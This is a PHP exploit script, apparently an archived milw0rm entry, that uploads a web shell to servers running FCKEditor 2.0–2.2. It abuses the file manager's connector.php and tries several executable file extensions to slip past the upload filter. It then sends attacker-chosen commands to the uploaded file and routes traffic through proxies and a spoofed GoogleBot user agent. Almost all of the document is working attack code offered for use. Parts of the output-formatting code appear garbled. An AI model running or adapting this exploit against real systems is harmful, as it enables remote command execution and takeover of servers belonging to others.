a short explaination: if a user cam call directly
http://[target]/[path]/editor/filemanager/browser/default/connectors/php/connector.php
he can upload malicious contempt on a target server, including arbitrary
php code, and launch commands on it
this works when php connector is enabled in config.php and when, ex.,
in Apache httpd.conf "AddType application/x-httpd-php" directive we have
an extension not specified in FCKEditor Config[DeniedExtensions][File]
array.
However, FCKeditor is integrated in a lot of applications, and if you
succeed to upload the shell (see details in the output of this script)
search for a local inclusion issue inside of them and include the uploaded
file */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);
echo' ******* FCKEditor 2.0 <= 2.2 shell upload**************
******* FCKEditor 2.0 <= 2.2 shell upload**************
a
script by rgod at
http://retrogod.altervista.org
';
function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '';
while ($ii <= strlen($headeri)-1){
$dAtAi=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "| | ";
for ($li=0; $li<=15; $li++) {
echo "".htmlentities($headeri[$li+$ki])." | ";
}
$ki=$ki+16;
echo "
";
}
if (strlen($dAtAi)==1) {
echo "| 0".htmlentities($dAtAi)." | ";
}
else {
echo "".htmlentities($dAtAi)." | ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo " | ";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "".htmlentities($headeri[$li])." | ";
}
echo "
";
}
$pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //2x speed
{
global $pRoXy, $host, $port, $pAcKeT, $HtMl, $pRoXy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "
";
}
else {
$c = preg_match($pRoXy_regex,$pRoXy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.
";
echo "Attempting to connect to ".$host." on port ".$port."...
";
if ($pRoXy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$pRoXy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "
";
}
else {
echo "OK.
";
$HtMl= '';
socket_write($socket, $pAcKeT, strlen($pAcKeT));
echo "Reading response:
";
while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}
echo nl2br(htmlentities($HtMl));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($pAcKeT)
{
global $pRoXy, $host, $port, $HtMl, $pRoXy_regex;
if ($pRoXy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
$c = preg_match($pRoXy_regex,$pRoXy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$pRoXy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$pAcKeT);
if ($pRoXy=='') {
$HtMl='';
while (!feof($ock)) {
$HtMl.=fgets($ock);
}
}
else {
$HtMl='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {
$HtMl.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($HtMl));
}
function refresh()
{
flush();
ob_flush();
usleep(100000);
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$_POST[host];$port=$_POST[port];
$path=$_POST[path];$cmd=$_POST[cmd];
$pRoXy=$_POST[proxy];
echo "";
if (($host<>'') and ($path<>'') and ($cmd<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
$path=str_replace("\r","",$path);$path=str_replace("\n","",$path);
//modify the shell as you want, this could be written in any language
//if exploit succeeded we will see phpinfo() even, check for disable_functions
//if passthru() disabled, try with system(), exec(), popen() or shell_exec()
$SHELL ="";
//we try to guess allowed extensions...
// you should succeed with .php3 for 2.0fc
// " " " " .php for 2.0rc1
// " " " " .php for 2.0rc2
// " " " " .php3 for 2.0rc3
// " " " " .pwml for 2.1 (added some restrictions, but maybe
// this is executable on some machine)
// " " " " .pwml for 2.11
// " " " " .pwml for 2.2
$extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
//add what you want
//'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
//empty for 2.2
$upload_command= array('FileUpload','');
$path_to_shell="/UserFiles/File/"; //default one: if different, script will find it
for ($x=0; $x<=count($extensions)-1; $x++)
{
for ($y=0; $y<=1; $y++)
{
# STEP 1 -> Upload the shell
srand(make_seed());
$anumber = rand(1,9999);
$filename="suntzu".$anumber.$extensions[$x];
$dAtA="-----------------------------7d529a1d23092a\r\n";
$dAtA.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
$dAtA.="Content-Type:\r\n\r\n";
$dAtA.="$SHELL\r\n";
$dAtA.="-----------------------------7d529a1d23092a--\r\n";
$pAcKeT="POST ".$path."editor/filemanager/browser/default/connectors/php/";
$pAcKeT.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n";
$pAcKeT.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$pAcKeT.="User-Agent: Sun-tzu giving you the pain\r\n";
$pAcKeT.="Host: ".$host."\r\n";
$pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";
$pAcKeT.="Connection: Close\r\n\r\n";
$pAcKeT.=$dAtA;
show($pAcKeT);
sendpacketii($pAcKeT);
if (!eregi("200 OK",$HtMl)) {die("Cannot find connector.php...
");}
if (eregi("This connector is disabled",$HtMl)) {echo "Exploit failed... -> php connector not enabled";die;}
if (eregi("url=\"",$HtMl))
{
$temp=explode("url=\"",$HtMl);
$temp2=explode("\"",$temp[1]);
$path_to_shell=$temp2[0];
}
echo "
path where I search shell: ".htmlentities($path_to_shell)."
";
# STEP 2 -> Launch commands...
#by default a "UserFiles/File/" dir is generated inside site root when you upload
#files, this dir is not protected by an .htaccess file or whatever
$pAcKeT="GET ".$path_to_shell.$filename."?cmd=".urlencode($cmd)." HTTP/1.1\r\n";
$pAcKeT.="User-Agent: GoogleBot/1.1\r\n";
$pAcKeT.="Host: ".$host."\r\n";
$pAcKeT.="Connection: Close\r\n\r\n";
show($pAcKeT);
sendpacketii($pAcKeT);
if (eregi("200 OK",$HtMl)) {
if (eregi("Hi Master!",$HtMl))
{echo "Exploit succeeded...
";
echo "we have a shell in http://".$host.$path_to_shell.$filename."
";
echo "we should have phpinfo() here, see html...
";
die;}
else {echo "Successfully uploades...
but is not an executable on target server...
";}
}
refresh();
}
}
#if you are here...
echo "Exploit failed...";
}
else
{echo "Fill * required fields, optionally specify a proxy...";}
echo "";
?>
# milw0rm.com [2006-02-09]